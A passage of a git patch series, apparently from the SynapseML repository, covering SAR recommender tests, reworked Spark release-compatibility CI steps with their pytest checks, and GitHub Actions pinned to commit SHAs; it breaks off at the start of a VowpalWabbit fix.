assert(modelSchema(model.getPredictionCol).dataType == FloatType) + + import spark.implicits._ + val wrongType = Seq((1L, "item-10")).toDF(userCol, itemCol) + val error = intercept[IllegalArgumentException](model.transformSchema(wrongType.schema)) + assert(error.getMessage.contains("was trained with")) + } + + test("SAR string mappings and outputs survive save and load") { + val model = newSar.fit(stringRatings) + val root = Files.createTempDirectory("sar-string-identifiers") + val path = root.resolve("model").toString + + try { + model.write.overwrite().save(path) + val loaded = SARModel.load(path) + + assert(loaded.isSet(loaded.userIdsFitInt)) + assert(loaded.isSet(loaded.itemIdsFitInt)) + assert(loaded.getUserIdsFitInt == model.getUserIdsFitInt) + assert(loaded.getItemIdsFitInt == model.getItemIdsFitInt) + assert(loaded.getUserIdMapping.orderBy("index").collect().toSeq == + model.getUserIdMapping.orderBy("index").collect().toSeq) + assert(loaded.getItemIdMapping.orderBy("index").collect().toSeq == + model.getItemIdMapping.orderBy("index").collect().toSeq) + assert(loaded.transform(stringRatings).orderBy(userCol, itemCol).collect().toSeq == + model.transform(stringRatings).orderBy(userCol, itemCol).collect().toSeq) + assert(loaded.recommendForAllUsers(2).orderBy(userCol).collect().toSeq == + model.recommendForAllUsers(2).orderBy(userCol).collect().toSeq) + } finally { + FileUtils.forceDelete(root.toFile) + } + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/recommendation/SARSpec.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/recommendation/SARSpec.scala index 501652f68b5..f4f997179dd 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/recommendation/SARSpec.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/recommendation/SARSpec.scala @@ -12,6 +12,7 @@ import org.apache.spark.sql.functions.{col, udf} import scala.language.existentials class SARSpec extends RankingTestBase with EstimatorFuzzing[SAR] { + override val sortInDataframeEquality = true override def testObjects(): List[TestObject[SAR]] = { List( new TestObject(new SAR() @@ -54,7 +55,7 @@ class SARSpec extends RankingTestBase with EstimatorFuzzing[SAR] { assert(evaluator.setMetricName("mrr").evaluate(output) === 1.0) val users: DataFrame = spark - .createDataFrame(Seq(("0","0"),("1","1"))) + .createDataFrame(Seq((0.0, 0.0), (1.0, 1.0))) .toDF(userColIndex, itemColIndex) val recs = recopipeline.stages(1).asInstanceOf[RankingAdapterModel].getRecommenderModel @@ -109,6 +110,7 @@ class SARSpec extends RankingTestBase with EstimatorFuzzing[SAR] { } class SARModelSpec extends RankingTestBase with TransformerFuzzing[SARModel] { + override val sortInDataframeEquality = true override def testObjects(): Seq[TestObject[SARModel]] = { List( new TestObject(new SAR() @@ -198,10 +200,10 @@ object SarTLCSpec extends RankingTestBase { val itemMapBC = spark.sparkContext.broadcast(recommendationIndexerModel.getItemIndex) - val filterScore = udf((items: Seq[Int], ratings: Seq[Float]) => { + val filterScore = udf((items: Seq[Double], ratings: Seq[Float]) => { items.zipWithIndex .filter(p => { - val itemId = itemMapBC.value.getOrElse[String](p._1, "-1") + val itemId = itemMapBC.value.getOrElse[String](p._1.toInt, "-1") val bol = usersProductsBC.value.contains(itemId) !bol }).map(p => (p._1, ratings.toList(p._2))) @@ -212,17 +214,17 @@ object SarTLCSpec extends RankingTestBase { "recommendations") .select(col("customerID"), col("recommendations._1") as "itemID", col("recommendations._2") as "rating") .select( - recoverUser(col("customerID")) as "customerID", - recoverItem(col("itemID")(0)) as "rec1", - recoverItem(col("itemID")(1)) as "rec2", - recoverItem(col("itemID")(2)) as "rec3", - recoverItem(col("itemID")(3)) as "rec4", - recoverItem(col("itemID")(4)) as "rec5", - recoverItem(col("itemID")(5)) as "rec6", - recoverItem(col("itemID")(6)) as "rec7", - recoverItem(col("itemID")(7)) as "rec8", - recoverItem(col("itemID")(8)) as "rec9", - recoverItem(col("itemID")(9)) as "rec10", + recoverUser(col("customerID").cast("int")) as "customerID", + recoverItem(col("itemID")(0).cast("int")) as "rec1", + recoverItem(col("itemID")(1).cast("int")) as "rec2", + recoverItem(col("itemID")(2).cast("int")) as "rec3", + recoverItem(col("itemID")(3).cast("int")) as "rec4", + recoverItem(col("itemID")(4).cast("int")) as "rec5", + recoverItem(col("itemID")(5).cast("int")) as "rec6", + recoverItem(col("itemID")(6).cast("int")) as "rec7", + recoverItem(col("itemID")(7).cast("int")) as "rec8", + recoverItem(col("itemID")(8).cast("int")) as "rec9", + recoverItem(col("itemID")(9).cast("int")) as "rec10", col("rating")(0) as "score1", col("rating")(1) as "score2", col("rating")(2) as "score3", From aea87e741b2077b115f98dbee2bd24913979eb55 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Thu, 6 Aug 2026 00:29:50 -0700 Subject: [PATCH 29/93] ci: restore Spark release compatibility checks (#2608) Configure a deterministic repository-local Git committer identity before replaying PR commits onto the Spark 3.5 and Spark 4.1 release branches. Distinguish genuine merge conflicts from rebase infrastructure failures and preserve successful rebase diagnostics. --- pipeline.yaml | 27 +++++++++++++++++++++------ tools/ci/tests/test_pipeline_yaml.py | 20 ++++++++++++++++++++ 2 files changed, 41 insertions(+), 6 deletions(-) diff --git a/pipeline.yaml b/pipeline.yaml index b17859cb74c..fcffcd07639 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -913,6 +913,14 @@ jobs: jdkArchitectureOption: x64 jdkSourceOption: PreInstalled + - bash: | + set -euo pipefail + git config --local user.name "SynapseML CI" + git config --local user.email "synapseml-ci@users.noreply.github.com" + test "$(git config --local user.name)" = "SynapseML CI" + test "$(git config --local user.email)" = "synapseml-ci@users.noreply.github.com" + displayName: 'Configure Git identity for compatibility rebase' + - bash: | set -e echo "=== Current HEAD (PR merge commit) ===" @@ -955,14 +963,21 @@ jobs: echo "=== Attempting to apply PR changes onto $(RELEASE_BRANCH) ===" git checkout $SOURCE_HEAD - git rebase --onto $RELEASE_TIP $TARGET_HEAD $SOURCE_HEAD 2>&1 || { - echo "##vso[task.logissue type=warning]PR changes conflict with $(RELEASE_BRANCH)" - echo "" - echo "=== Conflicting files ===" - git diff --name-only --diff-filter=U 2>/dev/null || true + if ! REBASE_OUTPUT=$(git rebase --onto $RELEASE_TIP $TARGET_HEAD $SOURCE_HEAD 2>&1); then + printf '%s\n' "$REBASE_OUTPUT" + CONFLICTING_FILES=$(git diff --name-only --diff-filter=U 2>/dev/null || true) + if [ -n "$CONFLICTING_FILES" ]; then + echo "##vso[task.logissue type=warning]PR changes conflict with $(RELEASE_BRANCH)" + echo "" + echo "=== Conflicting files ===" + printf '%s\n' "$CONFLICTING_FILES" + else + echo "##vso[task.logissue type=error]Unable to replay PR changes onto $(RELEASE_BRANCH) before conflict detection" + fi git rebase --abort 2>/dev/null || true exit 1 - } + fi + printf '%s\n' "$REBASE_OUTPUT" echo "PR changes apply cleanly onto $(RELEASE_BRANCH)" displayName: 'Apply PR changes onto $(RELEASE_BRANCH)' diff --git a/tools/ci/tests/test_pipeline_yaml.py b/tools/ci/tests/test_pipeline_yaml.py index 17b249c0b2b..bb3359098d2 100644 --- a/tools/ci/tests/test_pipeline_yaml.py +++ b/tools/ci/tests/test_pipeline_yaml.py @@ -190,6 +190,22 @@ def test_release_compat_accepts_github_target_and_uses_one_sbt_process(): assert not any(step.get("task") == "AzureCLI@2" for step in steps) assert not any(step.get("template") == "templates/kv.yml" for step in steps) + identity_steps = [ + step + for step in steps + if isinstance(step, dict) + and step.get("displayName") == "Configure Git identity for compatibility rebase" + ] + assert len(identity_steps) == 1 + identity_script = identity_steps[0]["bash"] + assert 'git config --local user.name "SynapseML CI"' in identity_script + assert ( + 'git config --local user.email "synapseml-ci@users.noreply.github.com"' + in identity_script + ) + assert 'test "$(git config --local user.name)"' in identity_script + assert 'test "$(git config --local user.email)"' in identity_script + rebase_steps = [ step for step in steps @@ -197,6 +213,7 @@ def test_release_compat_accepts_github_target_and_uses_one_sbt_process(): and step.get("displayName") == "Apply PR changes onto $(RELEASE_BRANCH)" ] assert len(rebase_steps) == 1 + assert steps.index(identity_steps[0]) < steps.index(rebase_steps[0]) rebase_script = rebase_steps[0]["bash"] assert "TARGET_HEAD=$(git rev-parse HEAD^1)" in rebase_script assert "SOURCE_HEAD=$(git rev-parse HEAD^2)" in rebase_script @@ -207,6 +224,9 @@ def test_release_compat_accepts_github_target_and_uses_one_sbt_process(): assert "templates/*|tools/acr/*|tools/ci/*" in rebase_script assert "variable=releaseCompatRequired]false" in rebase_script assert "variable=releaseCompatRequired]true" in rebase_script + assert "CONFLICTING_FILES=$(git diff --name-only --diff-filter=U" in rebase_script + assert "before conflict detection" in rebase_script + assert rebase_script.count("printf '%s\\n' \"$REBASE_OUTPUT\"") == 2 validation_steps = [ step From c6ef7366cf496c14fbba4e5c39f377029c522825 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Thu, 6 Aug 2026 17:09:02 -0700 Subject: [PATCH 30/93] ci: make Spark 4.1 compatibility validation reliable (#2611) * ci: preserve sbt retry helper during release replay ## Summary Stage the sbt retry helper outside the repository before switching to Spark release branches, and parameterize the shared cache template so it can invoke that stable path after rebase. ## Prompting Intent Investigate why Spark 3.5 and Spark 4.1 compatibility checks still failed after PR #2608, reproduce the failure with PR #2595 changes, implement the complete hotfix, and validate the real release replay path. ## Linked Sources - Failing PR: https://github.com/microsoft/SynapseML/pull/2595 - Prior identity hotfix: https://github.com/microsoft/SynapseML/pull/2608 - Failed Azure build: https://msdata.visualstudio.com/b9b2accc-2d1c-45b3-9d24-0eb5d78cc47f/_build/results?buildId=229969678 ## Rationale The rebased working tree intentionally comes from the Spark release branch, so master-only CI helpers cannot remain repository-relative. Copying the helper to Agent.TempDirectory preserves release-specific dependency resolution and avoids moving cache warming ahead of the rebase, where exact cache hits could hide missing release dependencies. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * ci: replay only release-relevant PR changes ## Summary Replace commit-history rebasing with a three-way application of the synthetic PR merge tree's release-relevant patch onto each Spark release branch. ## Prompting Intent Validate the compatibility hotfix with PR #2595's real source changes while ensuring CI-only commits do not conflict with old Spark branches that predate the current pipeline and helper files. ## Linked Sources - Validation PR source: https://github.com/microsoft/SynapseML/pull/2595 - Prior identity hotfix: https://github.com/microsoft/SynapseML/pull/2608 - Failed Azure build: https://msdata.visualstudio.com/b9b2accc-2d1c-45b3-9d24-0eb5d78cc47f/_build/results?buildId=229969678 ## Rationale The compatibility job needs the effective PR content on the release tree, not unrelated CI and documentation commits. Building the patch from the synthetic merge commit preserves GitHub's merge result, handles source branches behind master, retains three-way conflict detection, and avoids requiring commit identity. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * ci: focus release compatibility on Spark 4.1 compilation ## Summary Remove the redundant Spark 3.5 release matrix leg and replace broad Spark 4.1 runtime suites with full test compilation of the effective PR patch. ## Prompting Intent Explain why the release compatibility jobs exist and keep fixing the failures exposed by validation PR #2610, accounting for master already targeting Spark 3.5. ## Linked Sources - Original compatibility PR: https://github.com/microsoft/SynapseML/pull/2550 - Streamlining PR: https://github.com/microsoft/SynapseML/pull/2583 - Integration validation PR: https://github.com/microsoft/SynapseML/pull/2610 - Azure validation build: https://msdata.visualstudio.com/b9b2accc-2d1c-45b3-9d24-0eb5d78cc47f/_build/results?buildId=229984834 ## Rationale Normal PR validation already compiles and tests master on Spark 3.5, so replaying onto the older spark3.5 maintenance snapshot duplicates coverage and introduces unrelated JVM drift. Spark 4.1 test compilation catches cross-version source and test API breakage, while the existing master test fan-out supplies runtime coverage without rerunning broad, memory-heavy suites on a constrained compatibility agent. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --------- Co-authored-by: SynapseML CI Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- pipeline.yaml | 62 ++++++++++------------------ templates/sbt_cache.yml | 6 ++- tools/ci/tests/test_pipeline_yaml.py | 62 ++++++++++++++++++++-------- 3 files changed, 71 insertions(+), 59 deletions(-) diff --git a/pipeline.yaml b/pipeline.yaml index fcffcd07639..66d40e469c2 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -893,11 +893,8 @@ jobs: pool: vmImage: $(UBUNTU_VERSION) strategy: + # master already targets Spark 3.5; normal PR validation covers that runtime. matrix: - spark3.5: - RELEASE_BRANCH: spark3.5 - JAVA_VERSION: 17 - SBT_JAVA_OPTS: "-J--add-opens=java.prefs/java.util.prefs=ALL-UNNAMED" spark4.1: RELEASE_BRANCH: spark4.1 JAVA_VERSION: 17 @@ -915,18 +912,18 @@ jobs: - bash: | set -euo pipefail - git config --local user.name "SynapseML CI" - git config --local user.email "synapseml-ci@users.noreply.github.com" - test "$(git config --local user.name)" = "SynapseML CI" - test "$(git config --local user.email)" = "synapseml-ci@users.noreply.github.com" - displayName: 'Configure Git identity for compatibility rebase' + install -m 755 tools/ci/sbt_retry.sh "$(Agent.TempDirectory)/sbt_retry.sh" + test -x "$(Agent.TempDirectory)/sbt_retry.sh" + displayName: 'Stage sbt retry helper for release checkout' - bash: | set -e echo "=== Current HEAD (PR merge commit) ===" git log --oneline -1 + PR_MERGE_HEAD=$(git rev-parse HEAD) TARGET_HEAD=$(git rev-parse HEAD^1) SOURCE_HEAD=$(git rev-parse HEAD^2) + echo "PR merge: $PR_MERGE_HEAD" echo "PR target: $TARGET_HEAD" echo "PR source: $SOURCE_HEAD" @@ -958,13 +955,15 @@ jobs: RELEASE_TIP=$(git rev-parse FETCH_HEAD) echo "Release branch tip: $RELEASE_TIP" - PR_COMMITS=$(git rev-list --count $TARGET_HEAD..$SOURCE_HEAD) - echo "PR has $PR_COMMITS commit(s) to replay onto $(RELEASE_BRANCH)" + PATCH_PATH="$(Agent.TempDirectory)/release-compat.patch" + git diff --binary --full-index "$TARGET_HEAD" "$PR_MERGE_HEAD" -- \ + "${RELEASE_RELEVANT_PATHS[@]}" > "$PATCH_PATH" + test -s "$PATCH_PATH" - echo "=== Attempting to apply PR changes onto $(RELEASE_BRANCH) ===" - git checkout $SOURCE_HEAD - if ! REBASE_OUTPUT=$(git rebase --onto $RELEASE_TIP $TARGET_HEAD $SOURCE_HEAD 2>&1); then - printf '%s\n' "$REBASE_OUTPUT" + echo "=== Attempting to apply release-relevant PR changes onto $(RELEASE_BRANCH) ===" + git checkout --detach $RELEASE_TIP + if ! APPLY_OUTPUT=$(git apply --3way --index "$PATCH_PATH" 2>&1); then + printf '%s\n' "$APPLY_OUTPUT" CONFLICTING_FILES=$(git diff --name-only --diff-filter=U 2>/dev/null || true) if [ -n "$CONFLICTING_FILES" ]; then echo "##vso[task.logissue type=warning]PR changes conflict with $(RELEASE_BRANCH)" @@ -972,43 +971,26 @@ jobs: echo "=== Conflicting files ===" printf '%s\n' "$CONFLICTING_FILES" else - echo "##vso[task.logissue type=error]Unable to replay PR changes onto $(RELEASE_BRANCH) before conflict detection" + echo "##vso[task.logissue type=error]Unable to apply PR changes onto $(RELEASE_BRANCH) before conflict detection" fi - git rebase --abort 2>/dev/null || true exit 1 fi - printf '%s\n' "$REBASE_OUTPUT" + printf '%s\n' "$APPLY_OUTPUT" echo "PR changes apply cleanly onto $(RELEASE_BRANCH)" displayName: 'Apply PR changes onto $(RELEASE_BRANCH)' - template: templates/sbt_cache.yml + parameters: + retryScriptPath: '$(Agent.TempDirectory)/sbt_retry.sh' - bash: | set -e export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" - CORE_TESTS="com.microsoft.azure.synapse.ml.core.** \ - com.microsoft.azure.synapse.ml.automl.** \ - com.microsoft.azure.synapse.ml.causal.** \ - com.microsoft.azure.synapse.ml.featurize.** \ - com.microsoft.azure.synapse.ml.image.** \ - com.microsoft.azure.synapse.ml.isolationforest.** \ - com.microsoft.azure.synapse.ml.stages.** \ - com.microsoft.azure.synapse.ml.recommendation.** \ - com.microsoft.azure.synapse.ml.nn.** \ - com.microsoft.azure.synapse.ml.train.** \ - com.microsoft.azure.synapse.ml.exploratory.**" - echo "=== Compiling and testing PR changes on $(RELEASE_BRANCH) ===" + echo "=== Compiling PR changes on $(RELEASE_BRANCH) ===" timeout 50m sbt $(SBT_JAVA_OPTS) \ - test:compile \ - getDatasets \ - "project core" \ - "testOnly $CORE_TESTS" \ - "project vw" \ - "testOnly com.microsoft.azure.synapse.ml.vw.**" \ - "project opencv" \ - "testOnly com.microsoft.azure.synapse.ml.opencv.**" - echo "$(RELEASE_BRANCH) compiles and passes compatibility tests" - displayName: 'Validate $(RELEASE_BRANCH) after rebase' + test:compile + echo "$(RELEASE_BRANCH) compiles successfully" + displayName: 'Validate $(RELEASE_BRANCH) after applying PR changes' timeoutInMinutes: 55 condition: and(succeeded(), eq(variables.releaseCompatRequired, 'true')) diff --git a/templates/sbt_cache.yml b/templates/sbt_cache.yml index 36aaab456ac..28ff8c20473 100644 --- a/templates/sbt_cache.yml +++ b/templates/sbt_cache.yml @@ -29,6 +29,9 @@ parameters: - name: maxBackoffSeconds type: number default: 120 + - name: retryScriptPath + type: string + default: tools/ci/sbt_retry.sh steps: - task: Cache@2 @@ -76,7 +79,7 @@ steps: prewarm="$(printf '%s' "$SBT_CACHE_PREWARM" | tr '[:upper:]' '[:lower:]')" if [ "$exact_hit" != "true" ] || [ "$prewarm" = "true" ]; then - bash tools/ci/sbt_retry.sh update + bash "$SBT_RETRY_SCRIPT_PATH" update fi displayName: Ensure sbt cache is usable env: @@ -86,3 +89,4 @@ steps: SBT_CACHE_PREWARM: '${{ parameters.prewarm }}' SBT_SETUP_MAX_ATTEMPTS: '${{ parameters.maxAttempts }}' SBT_SETUP_MAX_BACKOFF_SECONDS: '${{ parameters.maxBackoffSeconds }}' + SBT_RETRY_SCRIPT_PATH: '${{ parameters.retryScriptPath }}' diff --git a/tools/ci/tests/test_pipeline_yaml.py b/tools/ci/tests/test_pipeline_yaml.py index bb3359098d2..15bfe6f6eae 100644 --- a/tools/ci/tests/test_pipeline_yaml.py +++ b/tools/ci/tests/test_pipeline_yaml.py @@ -5,6 +5,7 @@ bootstrap inputs, and the duplicated inline retry blocks were replaced by the shared helper. Run with: ``python -m pytest tools/ci/tests/test_pipeline_yaml.py``. """ + from pathlib import Path import yaml @@ -71,8 +72,10 @@ def test_sbt_cache_template_exists_and_parses(): assert len(fallback_scripts) == 1 fallback_script = fallback_scripts[0] assert "SBT_SETUP_MAX_STAGGER_SECONDS" in fallback_script - assert "sbt_retry.sh update" in fallback_script + assert 'bash "$SBT_RETRY_SCRIPT_PATH" update' in fallback_script assert 'if [ "$exact_hit" != "true" ]' in fallback_script + parameters = {parameter["name"]: parameter for parameter in data["parameters"]} + assert parameters["retryScriptPath"]["default"] == "tools/ci/sbt_retry.sh" fallback_step = next( s @@ -85,6 +88,10 @@ def test_sbt_cache_template_exists_and_parses(): "SBT_COURSIER_CACHE_RESTORED", ): assert f"$({cache_hit_var})" in fallback_step["env"].values() + assert ( + fallback_step["env"]["SBT_RETRY_SCRIPT_PATH"] + == "${{ parameters.retryScriptPath }}" + ) def test_sbt_retry_script_referenced_and_exists(): @@ -180,6 +187,9 @@ def test_release_compat_accepts_github_target_and_uses_one_sbt_process(): data = yaml.safe_load(_pipeline_text()) jobs = {j.get("job"): j for j in _jobs(data["jobs"])} release_compat = jobs["ReleaseBranchCompat"] + matrix = release_compat["strategy"]["matrix"] + assert set(matrix) == {"spark4.1"} + assert matrix["spark4.1"]["RELEASE_BRANCH"] == "spark4.1" condition = release_compat["condition"] assert "System.PullRequest.TargetBranch" in condition @@ -190,21 +200,19 @@ def test_release_compat_accepts_github_target_and_uses_one_sbt_process(): assert not any(step.get("task") == "AzureCLI@2" for step in steps) assert not any(step.get("template") == "templates/kv.yml" for step in steps) - identity_steps = [ + helper_steps = [ step for step in steps if isinstance(step, dict) - and step.get("displayName") == "Configure Git identity for compatibility rebase" + and step.get("displayName") == "Stage sbt retry helper for release checkout" ] - assert len(identity_steps) == 1 - identity_script = identity_steps[0]["bash"] - assert 'git config --local user.name "SynapseML CI"' in identity_script + assert len(helper_steps) == 1 + helper_script = helper_steps[0]["bash"] assert ( - 'git config --local user.email "synapseml-ci@users.noreply.github.com"' - in identity_script + 'install -m 755 tools/ci/sbt_retry.sh "$(Agent.TempDirectory)/sbt_retry.sh"' + in helper_script ) - assert 'test "$(git config --local user.name)"' in identity_script - assert 'test "$(git config --local user.email)"' in identity_script + assert 'test -x "$(Agent.TempDirectory)/sbt_retry.sh"' in helper_script rebase_steps = [ step @@ -213,34 +221,52 @@ def test_release_compat_accepts_github_target_and_uses_one_sbt_process(): and step.get("displayName") == "Apply PR changes onto $(RELEASE_BRANCH)" ] assert len(rebase_steps) == 1 - assert steps.index(identity_steps[0]) < steps.index(rebase_steps[0]) + assert steps.index(helper_steps[0]) < steps.index(rebase_steps[0]) rebase_script = rebase_steps[0]["bash"] + assert "PR_MERGE_HEAD=$(git rev-parse HEAD)" in rebase_script assert "TARGET_HEAD=$(git rev-parse HEAD^1)" in rebase_script assert "SOURCE_HEAD=$(git rev-parse HEAD^2)" in rebase_script - assert "git rebase --onto $RELEASE_TIP $TARGET_HEAD $SOURCE_HEAD" in rebase_script - assert "git rebase --onto $PR_HEAD $MASTER_BASE" not in rebase_script assert 'git diff --name-only -z "$TARGET_HEAD" HEAD' in rebase_script assert "pipeline.yaml|CODEOWNERS" in rebase_script assert "templates/*|tools/acr/*|tools/ci/*" in rebase_script assert "variable=releaseCompatRequired]false" in rebase_script assert "variable=releaseCompatRequired]true" in rebase_script + assert ( + 'git diff --binary --full-index "$TARGET_HEAD" "$PR_MERGE_HEAD"' + in rebase_script + ) + assert '"${RELEASE_RELEVANT_PATHS[@]}" > "$PATCH_PATH"' in rebase_script + assert "git checkout --detach $RELEASE_TIP" in rebase_script + assert 'git apply --3way --index "$PATCH_PATH"' in rebase_script + assert "git rebase" not in rebase_script assert "CONFLICTING_FILES=$(git diff --name-only --diff-filter=U" in rebase_script assert "before conflict detection" in rebase_script - assert rebase_script.count("printf '%s\\n' \"$REBASE_OUTPUT\"") == 2 + assert rebase_script.count("printf '%s\\n' \"$APPLY_OUTPUT\"") == 2 + + cache_step = next( + step + for step in steps + if isinstance(step, dict) and step.get("template") == "templates/sbt_cache.yml" + ) + assert steps.index(rebase_steps[0]) < steps.index(cache_step) + assert cache_step["parameters"]["retryScriptPath"] == ( + "$(Agent.TempDirectory)/sbt_retry.sh" + ) validation_steps = [ step for step in steps if isinstance(step, dict) - and step.get("displayName") == "Validate $(RELEASE_BRANCH) after rebase" + and step.get("displayName") + == "Validate $(RELEASE_BRANCH) after applying PR changes" ] assert len(validation_steps) == 1 script = validation_steps[0]["bash"] assert script.count("sbt $(SBT_JAVA_OPTS)") == 1 assert "test:compile" in script - assert "getDatasets" in script - for project in ("core", "vw", "opencv"): - assert f'"project {project}"' in script + assert "getDatasets" not in script + assert "testOnly" not in script + assert '"project ' not in script assert "sbt_retry.sh" not in script assert "for pkg in" not in script assert ( From d3ef6e3ba44a31487501333d9689fbfd13b2c23c Mon Sep 17 00:00:00 2001 From: Microsoft Open Source Security Bot Date: Thu, 6 Aug 2026 19:59:38 -0700 Subject: [PATCH 31/93] ci: pin GitHub Actions to full-length commit SHAs (#2602) --- .github/dependabot.yml | 2 + .github/workflows/acknowledge-new-issues.yml | 2 +- .github/workflows/acknowledge-new-prs.yml | 2 +- .github/workflows/add-triage-label.yml | 2 +- .github/workflows/check-dead-links.yml | 2 +- .github/workflows/check-semantic-prs.yaml | 2 +- .github/workflows/codeql.yml | 50 ++++++++++---------- .github/workflows/remove-old-issues.yml | 2 +- 8 files changed, 33 insertions(+), 31 deletions(-) diff --git a/.github/dependabot.yml b/.github/dependabot.yml index 123014908be..5e4251f206b 100644 --- a/.github/dependabot.yml +++ b/.github/dependabot.yml @@ -4,3 +4,5 @@ updates: directory: "/" schedule: interval: "daily" + cooldown: + default-days: 7 diff --git a/.github/workflows/acknowledge-new-issues.yml b/.github/workflows/acknowledge-new-issues.yml index 3d14aeda01d..262abeb0dbd 100644 --- a/.github/workflows/acknowledge-new-issues.yml +++ b/.github/workflows/acknowledge-new-issues.yml @@ -11,7 +11,7 @@ jobs: runs-on: ubuntu-latest steps: - name: Comment to acknowledge issue - uses: peter-evans/create-or-update-comment@v5 + uses: peter-evans/create-or-update-comment@e8674b075228eee787fea43ef493e45ece1004c9 # v5.0.0 with: issue-number: ${{ github.event.issue.number }} body: | diff --git a/.github/workflows/acknowledge-new-prs.yml b/.github/workflows/acknowledge-new-prs.yml index 1380ce88457..7b655ef776f 100644 --- a/.github/workflows/acknowledge-new-prs.yml +++ b/.github/workflows/acknowledge-new-prs.yml @@ -11,7 +11,7 @@ jobs: runs-on: ubuntu-latest steps: - name: Comment to acknowledge PRs - uses: peter-evans/create-or-update-comment@v5 + uses: peter-evans/create-or-update-comment@e8674b075228eee787fea43ef493e45ece1004c9 # v5.0.0 with: issue-number: ${{ github.event.pull_request.number }} body: | diff --git a/.github/workflows/add-triage-label.yml b/.github/workflows/add-triage-label.yml index 011722d66f2..5f695751237 100644 --- a/.github/workflows/add-triage-label.yml +++ b/.github/workflows/add-triage-label.yml @@ -11,7 +11,7 @@ jobs: issues: write steps: - name: Label issues - uses: andymckay/labeler@e6c4322d0397f3240f0e7e30a33b5c5df2d39e90 + uses: andymckay/labeler@e6c4322d0397f3240f0e7e30a33b5c5df2d39e90 # 1.0.4 with: add-labels: "triage" repo-token: ${{ secrets.GITHUB_TOKEN }} diff --git a/.github/workflows/check-dead-links.yml b/.github/workflows/check-dead-links.yml index eddbaf60eea..ba485dd13f9 100644 --- a/.github/workflows/check-dead-links.yml +++ b/.github/workflows/check-dead-links.yml @@ -52,7 +52,7 @@ jobs: fi - name: Scan for dead links - uses: lycheeverse/lychee-action@v2 + uses: lycheeverse/lychee-action@e7477775783ea5526144ba13e8db5eec57747ce8 # v2.9.0 with: args: >- --no-progress diff --git a/.github/workflows/check-semantic-prs.yaml b/.github/workflows/check-semantic-prs.yaml index 1943f6b91df..257078677e5 100644 --- a/.github/workflows/check-semantic-prs.yaml +++ b/.github/workflows/check-semantic-prs.yaml @@ -13,6 +13,6 @@ jobs: name: Validate PR title runs-on: ubuntu-latest steps: - - uses: amannn/action-semantic-pull-request@v6.1.1 + - uses: amannn/action-semantic-pull-request@48f256284bd46cdaab1048c3721360e808335d50 # v6.1.1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml index 9fc08dfdcf6..4dc5a73f578 100644 --- a/.github/workflows/codeql.yml +++ b/.github/workflows/codeql.yml @@ -41,34 +41,34 @@ jobs: # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support steps: - - name: Checkout repository - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + - name: Checkout repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - # Initializes the CodeQL tools for scanning. - - name: Initialize CodeQL - uses: github/codeql-action/init@v4.37.5 - with: - languages: ${{ matrix.language }} - # Explicitly set source-root to handle runner directory naming - # inconsistencies (e.g. after repository transfers/renames). - source-root: ${{ github.workspace }} + # Initializes the CodeQL tools for scanning. + - name: Initialize CodeQL + uses: github/codeql-action/init@d1ba80a13dd99fba24a470575428917156a28b43 # v4.37.5 + with: + languages: ${{ matrix.language }} + # Explicitly set source-root to handle runner directory naming + # inconsistencies (e.g. after repository transfers/renames). + source-root: ${{ github.workspace }} - # Autobuild attempts to build any compiled languages (C/C++, C#, Go, or Java). - # If this step fails, then you should remove it and run the build manually (see below) - - name: Autobuild - uses: github/codeql-action/autobuild@v4.37.5 + # Autobuild attempts to build any compiled languages (C/C++, C#, Go, or Java). + # If this step fails, then you should remove it and run the build manually (see below) + - name: Autobuild + uses: github/codeql-action/autobuild@d1ba80a13dd99fba24a470575428917156a28b43 # v4.37.5 - # ℹ️ Command-line programs to run using the OS shell. - # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun + # ℹ️ Command-line programs to run using the OS shell. + # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun - # If the Autobuild fails above, remove it and uncomment the following three lines. - # modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance. + # If the Autobuild fails above, remove it and uncomment the following three lines. + # modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance. - # - run: | - # echo "Run, Build Application using script" - # ./location_of_script_within_repo/buildscript.sh + # - run: | + # echo "Run, Build Application using script" + # ./location_of_script_within_repo/buildscript.sh - - name: Perform CodeQL Analysis - uses: github/codeql-action/analyze@v4.37.5 - with: - category: "/language:${{matrix.language}}" + - name: Perform CodeQL Analysis + uses: github/codeql-action/analyze@d1ba80a13dd99fba24a470575428917156a28b43 # v4.37.5 + with: + category: "/language:${{matrix.language}}" diff --git a/.github/workflows/remove-old-issues.yml b/.github/workflows/remove-old-issues.yml index 51c9b2e41c1..748456e966d 100644 --- a/.github/workflows/remove-old-issues.yml +++ b/.github/workflows/remove-old-issues.yml @@ -9,7 +9,7 @@ jobs: runs-on: ubuntu-latest steps: - name: Close old issues that need reply - uses: dwieeb/needs-reply@v2 + uses: dwieeb/needs-reply@71e8d5144caa0d4a1e292348bfafa3866d08c855 # v2.0.0 with: repo-token: ${{ secrets.GITHUB_TOKEN }} issue-label: "awaiting response" From 3c988d03cc66d29c3d2de870e5cc4f434b07000f Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Fri, 7 Aug 2026 15:31:27 -0700 Subject: [PATCH 32/93] fix: skip VW barrier execution for single-partition training (#2592) ## Summary Use barrier execution only when VowpalWabbit training enables it and the prepared dataset has more than one partition. Add Spark-stage execution-path assertions for enabled multi-partition, disabled multi-partition, and enabled single-partition training. ## Prompting Intent Revalidate the current 